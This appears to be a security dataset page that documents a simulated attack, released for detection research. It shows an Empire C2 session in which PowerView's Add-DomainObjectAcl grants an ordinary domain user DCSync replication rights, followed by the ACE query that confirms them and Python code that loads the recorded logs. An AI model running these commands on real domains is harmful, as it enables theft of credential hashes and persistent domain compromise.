Empire Powerview Add-DomainObjectAcl#

Metadata#

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2019/03/01

Modification Date

2020/09/20

Tactics

TA0005

Techniques

T1222.001

Tags

AD Object Modification,AD Object nTSecurityDescriptor,LDAP ModifyRequest

Dataset Description#

These datasets represent adversaries with enough permissions (i.e. domain admin) adding an access control entry (ACE) to the discretionary access control list (DACL) of an Active Directory object (i.e Root Domain). One example could be adversaries modifying the root domain DACL to allow a specific domain user, despite being in no privileged groups and not having local admin rights on the domain controller itself, to use Active Directory replication services and obtain secret domain data (i.e. Other user NTLM Hashes)

Simulation Metadata#

Tools#

type

Name

Module

C2

Empire

powerview

Adversary View#

(Empire: stager/multi/launcher) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
A7BWPR32 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         5904   5/0.0    2020-09-18 18:29:36  http            
HBEW9G1D ps 172.18.39.6     WORKSTATION6      THESHIRE\sbeavers       powershell         6036   5/0.0    2020-09-18 18:15:39  http            
UF5MYK42 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         6404   5/0.0    2020-09-20 21:28:07  http            

8BUCWV1P ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         2488   5/0.0    2020-09-21 17:09:43  http            

(Empire: agents) > interact 8BUCWV1P
(Empire: 8BUCWV1P) > scriptimport data/module_source/situational_awareness/network/powerview.ps1
[*] Tasked 8BUCWV1P to run TASK_SCRIPT_IMPORT
[*] Agent 8BUCWV1P tasked with task ID 1
(Empire: 8BUCWV1P) > 
script successfully saved in memory

(Empire: 8BUCWV1P) > scriptcmd Add-DomainObjectAcl -TargetIdentity "dc=theshire,dc=local" -TargetDomain theshire.local -PrincipalIdentity nmartha -Rights DCSync
[*] Tasked 8BUCWV1P to run TASK_SCRIPT_COMMAND
[*] Agent 8BUCWV1P tasked with task ID 2
(Empire: 8BUCWV1P) > 
Job started: 5WSPKL

(Empire: 8BUCWV1P) > scriptcmd $nmarthaSid = Get-DomainUser nmartha | Select-Object -ExpandProperty objectsid; Get-DomainObjectACL  "dc=theshire,dc=local" -Domain theshire.local -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $nmarthaSid}
[*] Tasked 8BUCWV1P to run TASK_SCRIPT_COMMAND
[*] Agent 8BUCWV1P tasked with task ID 3
(Empire: 8BUCWV1P) > 
Job started: YG1ZB3

AceQualifier           : AccessAllowed
ObjectDN               : DC=theshire,DC=local
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID              : S-1-5-21-4228717743-1032521047-1810997296
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-4228717743-1032521047-1810997296-1103
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=theshire,DC=local
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes
ObjectSID              : S-1-5-21-4228717743-1032521047-1810997296
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-4228717743-1032521047-1810997296-1103
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=theshire,DC=local
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-All
ObjectSID              : S-1-5-21-4228717743-1032521047-1810997296
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-4228717743-1032521047-1810997296-1103
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

Explore Datasets#

Download & Decompress Dataset#

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/empire_powerview_ldap_ntsecuritydescriptor.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File#

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events#

df.groupby(['Channel']).size().sort_values(ascending=False)